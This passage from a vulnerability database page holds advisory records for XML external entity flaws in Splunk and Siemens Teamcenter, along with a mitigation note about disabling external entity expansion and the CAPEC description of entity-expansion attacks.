"details": "In Splunk Enterprise versions below 9.4.4, 9.3.6, and 9.2.8, and Splunk Cloud Platform versions below 9.3.2411.108, 9.3.2408.118 and 9.2.2406.123, a low privilege user that does not hold the \"admin\" or \"power\" Splunk roles could perform an extensible markup language (XML) external entity (XXE) injection through the dashboard tab label field. The XXE injection has the potential to cause denial of service (DoS) attacks.",
"id": "GHSA-7xvq-vm2p-4r2f",
"modified": "2025-10-01T18:30:39Z",
"published": "2025-10-01T18:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20369"
},
{
"type": "WEB",
"url": "https://advisory.splunk.com/advisories/SVD-2025-1004"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7XWV-XHF6-X5CR
Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-05-24 19:14
VLAI
Details
A vulnerability has been identified in Teamcenter V12.4 (All versions < V12.4.0.8), Teamcenter V13.0 (All versions < V13.0.0.7), Teamcenter V13.1 (All versions < V13.1.0.5), Teamcenter V13.2 (All versions < 13.2.0.2). The application contains a XML External Entity Injection (XXE) vulnerability. This could allow an attacker to view files on the application server filesystem.
{
"affected": [],
"aliases": [
"CVE-2021-40356"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-14T11:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in Teamcenter V12.4 (All versions \u003c V12.4.0.8), Teamcenter V13.0 (All versions \u003c V13.0.0.7), Teamcenter V13.1 (All versions \u003c V13.1.0.5), Teamcenter V13.2 (All versions \u003c 13.2.0.2). The application contains a XML External Entity Injection (XXE) vulnerability. This could allow an attacker to view files on the application server filesystem.",
"id": "GHSA-7xwv-xhf6-x5cr",
"modified": "2022-05-24T19:14:29Z",
"published": "2022-05-24T19:14:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40356"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-987403.pdf"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Implementation
System Configuration
Many XML parsers and validators can be configured to disable external entity expansion.
CAPEC-221: Data Serialization External Entities Blowup
This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.